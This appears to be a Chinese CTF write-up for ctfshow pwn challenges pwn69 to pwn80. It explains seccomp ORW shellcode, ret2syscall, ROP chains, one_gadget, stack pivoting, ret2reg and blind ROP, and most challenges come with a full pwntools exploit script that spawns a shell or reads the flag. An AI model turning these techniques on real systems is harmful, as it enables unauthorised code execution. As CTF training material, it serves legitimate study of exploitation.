# 有收获的题目
pwn69(沙盒机制)
pwn76(逻辑分析题,栈迁移但是只覆盖了 ebp)
pwn79(ret2reg, 利用 call /jmp 跳转到保存 shellcode 的地址的寄存器来执行)
pwn80(还差最后几步,盲打还是没怎么见过)
# pwn69(沙盒机制)
# 题目
题目描述: 可以尝试用ORW读flag flag文件位置为/ctfshow_flag
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
main函数
__int64 __fastcall main(int a1, char **a2, char **a3) | |
{ | |
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); | |
sub_400949(); | |
sub_400906(); | |
sub_400A16(); | |
return 0LL; | |
} |
第一个函数 sub_400949()
看到启用了沙箱,这里是显示是黑名单过滤...
查看第三个函数 sub_400A16()
int sub_400A16() | |
{ | |
char buf[32]; // [rsp+0h] [rbp-20h] BYREF | |
puts("Now you can use ORW to do"); | |
read(0, buf, 0x38uLL); | |
return puts("No you don't understand I say!"); | |
} |
这里可以溢出,但是溢出范围不大,没有开 NX 可以执行 shellcode,但是有沙箱,利用 seccomp-tools
工具看看
这里显示可以执行 orw,写入 orw 的 shellcode 执行
这里还有一个问题就是,我们构造的 shellcode 写入到哪里,栈上可执行,但是栈的地址不知道,而 main
一开始使用 mmap 开辟了一块空间,权限为 6,可读写(可以利用 orw 进行读写,没有执行权限能执行 shellcode 吗?,这里在 mmap 中开辟的空间,有对应操作的权限即可执行对应命令)
这里利用 mmap 空间将 flag 读入到这里,然后输出出来即可
但是我们如何将 shellcode 注入到 mmap 空间里?
因为溢出的 rop 大小受限,这里就需要利用汇编命令来执行,在栈上构造命令: shellcode.read(0,mmap,0x100)+asm(mov rax,0x123000; jmp rax)
这里是为了能够在 mmap 空间写入 shellcode 然后跳转执行
但是在栈上的命令还需要去执行,发现程序有命令 jmp rsp
可以利用该命令跳转回栈上执行(不知道为什么 wp 后面还跟有 asm("sub rsp,0x30; jmp rsp")
, 感觉不需要,但是去掉就会报错,然后想了想,大概因为 leave 指令将栈顶给重置了,然后 ret 又 pop ebp,栈顶又减,所以 rsp 指向后面的命令 asm("sub rsp,0x30; jmp rsp")
)
这里还有一个要点就是利用 open 打开的 flag 文件后文件描述符是 3,所以使用的 read(3,mmap,0x100)这里也要文件描述符变成 3(因为 0,1,2 是标志的输入输出,标准错误)
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./pwn69') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
#p=remote("pwn.challenge.ctf.show",28220) | |
shellcode = asm(shellcraft.sh()) | |
mmap=0x123000 | |
jmp_rsp=0x0000000000400a01 | |
p.recvuntil("to do\n") | |
shellcode=asm(shellcraft.open("./ctfshow_flag")) | |
shellcode+=asm(shellcraft.read(3,mmap,0x100)) | |
shellcode+=asm(shellcraft.write(1,mmap,0x100)) | |
payload=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax") | |
payload=payload.ljust(0x28,b"a") | |
payload+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp") | |
p.sendline(payload) | |
p.sendline(shellcode) | |
p.interactive() |
# pwn70(64 位 orw)
# 题目
题目描述: 可以开始你的个人秀了 flag文件位置为/flag
64 位程序,开启了 canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ida 无法反汇编
main:
is_printable:
通过这就找到,我们需要跳出这个循环,就需要让 0(图里的 rbx 第一次应该为 0)大于等于 strlen 的长度,所以用 \x00
截断【但是又疑惑一点,wp 中先 push 0,然后 push flag,这个 0 难道不是作为 flag 字符串的结束符吗,这里并不是作为终止符,如果是终止符应该是后 push 0 才对】
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./pwn69') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28294) | |
mmap=0x000000000602068 | |
jmp_rsp=0x0000000000400a01 | |
p.recvuntil("name:\n") | |
shellcode="push 0;push 0x67616c66;mov rax,2;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall;" //open(注意这里先push的0) | |
shellcode+="mov rax,0;mov rdi ,0x3;mov rsi,rsp;mov rdx,0x100;syscall;"//read | |
shellcode+="mov rax,1;mov rdi ,0x1;mov rsi,rsp;mov rdx,0x100;syscall" //write | |
p.sendline(asm(shellcode)) | |
p.interactive() |
# pwn71 (32 位系统调用)
# 题目
题目描述: 32位的ret2syscall
32 位程序 ,开启了 nx
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida32 查看
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int v4; // [esp+1Ch] [ebp-64h] BYREF | |
setvbuf(stdout, 0, 2, 0); | |
setvbuf(stdin, 0, 1, 0); | |
puts("===============CTFshow--PWN==============="); | |
puts("Try to use ret2syscall!"); | |
gets(&v4); | |
return 0; | |
} |
有 gets 可以直接进行溢出,根据题目是系统调用,那么查看系统是否有 int 0x80
直接构造系统调用的 rop (ret 后面接参数)
这里 ida 的偏移不准,最后发现是 0x70(0x6c+4)
from pwn import * | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process("") | |
p=remote("pwn.challenge.ctf.show",28158) | |
binsh=0x080be408 | |
int_0x80=0x08049421 | |
eax=0x080bb196 | |
ebx=0x080481c9 | |
pop_edx_ecx_ebx_ret=0x0806eb90 | |
payload=b"a"*(0x70)+p32(eax)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80) | |
p.sendline(payload) | |
p.interactive() |
# pwn72 (多次执行系统调用)
# 题目
题目描述: 接着练ret2syscall,多系统函数调用
32 位程序
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int v4; // [esp+10h] [ebp-20h] BYREF | |
setvbuf(stdout, 0, 2, 0); | |
setvbuf(stdin, 0, 1, 0); | |
puts("CTFshow-PWN"); | |
puts("where is my system?"); | |
gets(&v4); | |
puts("Emmm"); | |
return 0; | |
} |
找到的这个 int 0x80
无法使用,因为没有 ret
无法执行后面的系统调用
利用这个地址的 int 0x80
, 后面有 ret
并没有找到 '/bin/sh'
改用 sh
没有成功,利用 系统调用read函数将
来将 /bin/sh
写入到 bss 段上
from pwn import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28212) | |
sh=0x080be52b | |
int_0x80=0x806F350 | |
eax=0x080bb2c6 | |
ebx=0x080481c9 | |
bss=0x80EAF85 | |
pop_edx_ecx_ebx_ret=0x0806ecb0 | |
payload=b"a"*(44)+p32(eax)+p32(0x3)+p32(pop_edx_ecx_ebx_ret)+p32(0x100)+p32(bss)+p32(0)+p32(int_0x80) | |
payload+=p32(eax)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_0x80) | |
p.sendline(payload) | |
p.send("/bin/sh\x00") | |
p.interactive() |
# pwn73 (ROPgadget 构造系统调用)
# 题目
题目描述: 愉快的尝试一下一把梭吧!
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int show() | |
{ | |
char v1[24]; // [esp+0h] [ebp-18h] BYREF | |
puts("Try to Show-hand!!"); | |
return gets(v1); | |
} |
直接有个溢出,然后根据题目说明直接利用 ROPgadget 构造系统调用链即可
ROPgadget --binary pwn73 --ropchain
将产生的 rop 链复制到 exp 里加上对应字节的 padding 和库函数即可
from pwn import * | |
from struct import pack | |
context(os='linux', arch='amd64', log_level='debug') | |
P=remote("pwn.challenge.ctf.show",28270) | |
p = b'a'*28 | |
p += pack('<I', 0x0806f02a) # pop edx ; ret | |
p += pack('<I', 0x080ea060) # @ .data | |
p += pack('<I', 0x080b81c6) # pop eax ; ret | |
p += b'/bin' | |
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret | |
p += pack('<I', 0x0806f02a) # pop edx ; ret | |
p += pack('<I', 0x080ea064) # @ .data + 4 | |
p += pack('<I', 0x080b81c6) # pop eax ; ret | |
p += b'//sh' | |
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret | |
p += pack('<I', 0x0806f02a) # pop edx ; ret | |
p += pack('<I', 0x080ea068) # @ .data + 8 | |
p += pack('<I', 0x08049303) # xor eax, eax ; ret | |
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret | |
p += pack('<I', 0x080481c9) # pop ebx ; ret | |
p += pack('<I', 0x080ea060) # @ .data | |
p += pack('<I', 0x080de955) # pop ecx ; ret | |
p += pack('<I', 0x080ea068) # @ .data + 8 | |
p += pack('<I', 0x0806f02a) # pop edx ; ret | |
p += pack('<I', 0x080ea068) # @ .data + 8 | |
p += pack('<I', 0x08049303) # xor eax, eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0807a86f) # inc eax ; ret | |
p += pack('<I', 0x0806cc25) # int 0x80 | |
P.sendline(p) | |
P.interactive() |
# pwn74(利用 one_gadget)
# 题目
题目描述: 噢?好像到现在为止还没有了解到one_gadget?
64 位保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF | |
v4[2] = __readfsqword(0x28u); | |
init(argc, argv, envp); | |
puts(s); | |
puts(asc_A80); | |
puts(asc_B00); | |
puts(asc_B90); | |
puts(asc_C20); | |
puts(asc_CA8); | |
puts(asc_D40); | |
puts(" * ************************************* "); | |
puts(aClassifyCtfsho); | |
puts(" * Type : PWN_Tricks "); | |
puts(" * Site : https://ctf.show/ "); | |
puts(" * Hint : Use one_gadget a shuttle! "); | |
puts(" * ************************************* "); | |
printf("What's this:%p ?\n", &printf); | |
__isoc99_scanf("%ld", v4); | |
v4[1] = v4[0]; | |
((void (*)(void))v4[0])(); | |
return 0; | |
} |
有 scanf 函数,可以进行栈溢出,但是开启了 canary,而下面调用了函数指针【将我们输入的值利用函数指针的特性,将其转换为函数并进行调用】
所以我们输入要执行的函数地址就会被执行,题目说明利用 one_gadget,那么我们可以通过 one_gadget 工具查找对应的 libc 库内的 execve("/bin/sh",0,0)
函数的地址(有限制条件)然后利用该地址 + libc 基地址即可
发现只有第三个符合要求
from pwn import * | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process("") | |
e=ELF("./pwn74") | |
p=remote("pwn.challenge.ctf.show",28128) | |
libc=ELF("./64libc.so.6") | |
p.recvuntil("this:") | |
printf=int(p.recv(14),16) | |
print("print:",hex(printf)) | |
libc_base=printf-libc.symbols["printf"] | |
execve=libc_base+0x10a2fc | |
payload=str(execve) | |
p.sendline(payload) | |
p.interactive() |
# pwn75 (栈迁移)
# 题目
题目描述: 栈空间不够怎么办?
32 位程序,开启了 NX
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int ctfshow() | |
{ | |
char s[36]; // [esp+0h] [ebp-28h] BYREF | |
memset(s, 0, 0x20u); | |
read(0, s, 0x30u); | |
printf("Welcome, %s\n", s); | |
puts("What do you want to do?"); | |
read(0, s, 0x30u); | |
return printf("Nothing here ,%s\n", s); | |
} |
栈迁移,由于溢出部分很少,那么我们可以先在栈内构造 system_plt 然后将将栈低迁移到 s
的起始处,利用第二个 read 读入 "/bin/sh"
,因为我们要将栈迁移到栈顶,所以要泄露 ebp 的地址,而需要通过调试来找到我们输入的字符串相对与 ebp 的偏移(不一定会是在栈顶)
调试:
在要知道与 ebp 的偏移,就需要进行动态调试【动态调试要 start
进入输入完后直接查看栈,不然利用 r
输入完后查看会被改变】:
首先查看 buf 的地址 (一步一步进入到 read 处):
输入 aaaa
查看栈:
对于这里 ebp 0xffffd008
是当前函数的 ebp,框里的是 main 的 ebp,要通过 main 的 ebp 函数来计算(因为泄露的是 main 函数的 ebp 地址)
最后偏移:
因此就知道了 buf 与 ebp 的偏移 buf=ebp-0x38
利用 printf 将 ebp 泄露出来即可(printf 输出字符串时遇到 \0
会停止输出,只要填满就不会插入空字符)
一开始想用 read 写入 /bin/sh
发现不行,感觉是因为将栈内容改变了。。
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./pwn75') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28231) | |
leave_ret=0x080484d5 | |
system=0x8048400 | |
read=0x80483D0 | |
p.recvuntil("codename:\n") | |
payload1=b"a"*0x24+b"flag"#p32()+p32(system)+p32(flag)#+p32()+p32()+p32()+p32() | |
#payload1=p64()+p64()+p64()+p64() | |
#gdb.attach(p,"b *") | |
#gdb.attach(p) | |
#gdb.attach(pid) | |
p.send(payload1) | |
p.recvuntil("flag") | |
ebp=u32(p.recv(4)) | |
buf=ebp-0x38 | |
print("ebp",hex(ebp)) | |
p.recv() | |
#payload2=p32(read)+p32(system)+p32(0)+p32(buf+12)+p32(10)+p32(0)+p32(buf+12)#buf+12 is address of "/bin/sh" in buf,abrove is 0~4(read),4~8(system),8~12(p32(0)) | |
payload2=(p32(system)+p32(0)+p32(buf+12)+b"/bin/sh\x00").ljust(0x28,b"a")+p32(buf-4)+p32(leave_ret) | |
#payload2=payload2.ljust(0x28,b"a") | |
#payload2+=p32(buf-4)+p32(leave_ret) | |
p.send(payload2) | |
#p.sendline("/bin/sh\x00") | |
p.interactive() |
# pwn76 (代码逻辑分析,MD5,base64 加解密)
# 题目
题目描述: 还是那句话,理清逻辑很重要
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这里的逻辑就是,输入一个 base64 加密的字符串,然后程序会进行解密,并计算输入字符串的长度,输入的长度不能超过 12,将解密的字符串(v4)复制到 bss 段的 input
中,然后利用 else 语句中的 auth函数
,在这里面将 input 的内容在复制到 v4(输入 12 个字节能够覆盖 ebp),然后根据输入的内容的长度计算 md5 的值并打印,再和程序内固定的 md5 值进行比较,相等能拿到 flag
# 漏洞分析
上面已经知道 auth
函数里面会将输入的字符串保存到 v4 中,最大能输入 12 个字节,这就可以覆盖 ebp,但是无法覆盖 ret,我认为是通过 ebp 导致最后执行完这个函数后会寻址 ebp 内保存的地址作为 main 的 ebp,这里被修改了,所以就会将修改后的地址作为 ebp 的地址然后执行这里的代码(作为 rop)
返回到 ebp 后 esp 会 + 4,所以将后门放入伪造的地址加 4 处
【base64 要加入库 import base64
,然后加密为 base64.b64encode(payload)
】
from pwn import * | |
from LibcSearcher import * | |
import base64 | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28234) | |
p.recvuntil("login: ") | |
system_binsh=0x08049284 | |
intput=0x0811EB40 | |
payload1=b"a"*4+p32(system_binsh)+p32(intput) | |
payload1=base64.b64encode(payload1) | |
p.sendline(payload1) | |
p.interactive() |
# pwn77 (rop 需要栈对齐,寻址数组)
# 题目
题目描述: Ez ROP or Mid ROP ?
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
__int64 ctfshow() | |
{ | |
int v0; // eax | |
__int64 result; // rax | |
char v2[267]; // [rsp+0h] [rbp-110h] | |
char v3; // [rsp+10Bh] [rbp-5h] | |
int v4; // [rsp+10Ch] [rbp-4h] | |
v4 = 0; | |
while ( !feof(stdin) ) | |
{ | |
v3 = fgetc(stdin); | |
if ( v3 == 10 ) | |
break; | |
v0 = v4++; | |
v2[v0] = v3; | |
} | |
result = v4; | |
v2[v4] = 0; | |
return result; | |
} |
当输入了 0x110-4 个字节内容,可以看到圈出来的地方为 v4 的值(用来索引地址)
所以我们可以根据上面的发现,来直接修改 v4:先有利用 v3 输入 \x118
让 v2 在 0x110-4
的地方覆盖 v4 为 \x118
,然后利用 v4 被修改的值反作用给 v2 去偏移为 0x118
的地方寻址到 ret
官方的 wp 之所以是 \x18
是因为高一位已经是 1 了,所以就不用写入 118 了,从上面的图也能发现是 0x10c
所以只需要覆盖 0c
为 18
即可
而要想通过完整覆盖 3 位需要 b"a"*(0x110-8)+p64(0x11500000000)
这样来整个覆盖,至于为什么是 115
,因为调试时输入 118
最后显示为 11b
,所以这里减了 3 就恰好是 118
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./pwn77') | |
e=ELF('./pwn77') | |
libc=ELF("./64libc.so.6") | |
p=remote("pwn.challenge.ctf.show",28232) | |
#p=remote('node4.buuoj.cn',28249) | |
fgetc_got=e.got["fgetc"] | |
puts_plt=e.plt["puts"] | |
main=e.sym["main"] | |
rdi_ret=0x00000000004008e3 | |
ret=0x0000000000400576 | |
p.recvuntil("T^T\n") | |
payload1=b"a"*(0x110-8)+p64(0x11500000000)+p64(rdi_ret)+p64(fgetc_got)+p64(puts_plt)+p64(main) | |
p.sendline(payload1) | |
fgetc=u64(p.recv(6).ljust(8,b'\x00')) | |
print("fgetc:",hex(fgetc)) | |
libc_base=fgetc-libc.sym["fgetc"] | |
system=libc_base+libc.sym["system"] | |
binsh=libc_base+next(libc.search(b"/bin/sh")) | |
print("system:",hex(system)) | |
p.recvuntil("T^T\n") | |
payload2=b"a"*(0x110-8)+p64(0x11500000000)+p64(rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) #注意栈对齐 | |
p.sendline(payload2) | |
p.interactive() |
# pwn78(64 位系统调用)
# 题目
题目描述: 64位ret2syscall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
char v4[80]; // [rsp+0h] [rbp-50h] BYREF | |
setvbuf(stdout, 0LL, 2LL, 0LL); | |
setvbuf(stdin, 0LL, 1LL, 0LL); | |
puts("CTFshowPWN!"); | |
puts("where is my system_x64?"); | |
gets(v4); | |
puts("fuck"); | |
return 0; | |
} |
题目说是系统调用,然后 ida 旁边一大堆函数,认为是静态编译,所以会有很多寄存器可以用,再找一下 syscall
命令来进行系统调用
没有找到 /bin/sh
所以利用 read 系统调用来写入
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./pwn78') | |
#e=ELF('./') | |
#p=remote("pwn.challenge.ctf.show",28231) | |
bss=0x0000000006C1C61 | |
syscall_ret=0x00000000045BAC5 | |
pop_rax=0x000000000046b9f8 #pop_rax_ret,这里调用的寄存器都是分开的所以就要寄存器后面紧跟对应参数 | |
pop_rdi=0x00000000004016c3 | |
pop_rsi=0x00000000004017d7 | |
pop_rbx=0x00000000004377d5 | |
p.recvuntil("system_x64?\n") | |
payload1=b"a"*(0x50+8)+p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rbx)+p64(0x10)+p64(syscall_ret) | |
payload1+=p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rbx)+p64(0)+p64(syscall_ret) | |
p.sendline(payload1) | |
p.sendline("/bin/sh\x00") | |
p.interactive() |
# pwn79(ret2reg)
ret2reg: 这个方法是在 ret 之前有寄存器保存了 shellcode 的地址时,可以通过 call\jmp
命令来跳转到对于地址,(如 jmp eax
,eax 保存了 shellcode
的地址)
# 题目
题目描述: 你需要注意某些函数,这是解题的关键!
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int input[512]; // [esp+0h] [ebp-808h] BYREF | |
int *v5; // [esp+800h] [ebp-8h] | |
v5 = &argc; | |
init(); | |
logo(); | |
printf("Enter your input: "); | |
fgets((char *)input, 2048, stdin); | |
ctfshow((char *)input); | |
return 0; | |
} |
void __cdecl ctfshow(char *input) | |
{ | |
char buf[512]; // [esp+0h] [ebp-208h] BYREF | |
strcpy(buf, input); | |
} |
这里可以先在 main 函数写 2048(0x800)字节的内容,在 ctfshow 函数会将这个内容复制到一个 0x200 大小的数组,那么就可以导致溢出
这里没有开启 NX,所以可以写入 shellcode,但是我们要考虑如何跳转到 shellcode 的地址,这里就利用 ret2reg 来实现:
在 ctfshow
内的 leave
命令出下个断点:
执行输入 wsnd
: 可以看见在 leave 命令处 eax、ecx、edx
寄存器都保存了字符串的地址
利用溢出将 ret 覆盖为 call eax
或者 jmp eax
之类的,能跳转到输入字符串地址即可
最终就是先写入 shellcode
,然后用 call edx
覆盖 ret
达到执行 shellcode
的目的【这里一开始认为 call edx
和 call eax
两个都可以,但是实际执行起来 edx 的并不行,调试执行完 ret 也没有发现修改 edx 的内容...】
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./pwn79') | |
#e=ELF('./') | |
p=remote("pwn.challenge.ctf.show",28154) | |
#p=remote('node4.buuoj.cn',28249) | |
shellcode = asm(shellcraft.sh()) | |
call_edx=0x080484ed | |
call_eax=0x080484a0 | |
p.recvuntil("input: ") | |
payload1=shellcode.ljust(0x208+4,b"a")+p32(call_eax)#+p64()#+p64()+p64()+p64() | |
p.send(payload1) | |
p.interactive() |
# pwn80 (盲打 rop,循环爆破)
# 题目
题目描述: 盲打 blind rop (不是忘记放附件,是本身就没附件!!!)
盲打。。,nc 连接
【盲打 rop 的知识】https://wooyun.js.org/drops/Blind Return Oriented Programming (BROP) Attack - 攻击原理.html
buf:
测试 buf 的大小,可以通过循环输入不断变长的字符串,每次 长度加一
,直到后面导致 程序崩溃
,程序产生崩溃时的长度 减1
就是 buf 的长度【通过这种方式也可逐个字节的爆破 canary
,因为第一个字节与程序的 canary
相同时程序并不会崩溃,所以爆破一个字节有 256 种可能,8 个字节就是 8*256
,爆破难度并不大,而爆破完后 没有
一次成功的即是 没有开启canary
】
stop_gadget:
该 gadget 是不会使程序崩溃,使程序会返回到 main(或者其他已经执行了的函数)再次执行,导致产生一次循环,只要利用该地址覆盖 ret,判断其返回内容是否是循环执行了程序即可找到
use_rop:
一个带有 ret 的 rop,可以时我们跳转到其他地方,想要找出来需要使其覆盖 ret 的地址,已经覆盖后面的地址为 stop_gadget
,然后执行的时候跳转到 stop_gadget
这样程序也不会崩溃,从而可以知道这是 use_rop
【但是这还有可能是找到了一个 stop_gadget
】
brop:
brop 是一个带有所有寄存器的 rop: rdi rsi rdx rcx r8 r9 ret
这可以是我们进行任意的传参,找到它的方法与 use_rop
类似,只不过需要利用 crash_add
来填充 ret 后的 6 个地址,再用 stop_gadget
填充一个地址,这样使得再没有崩溃反而循环回去了情况产生时就会是我们需要的 brop
导致的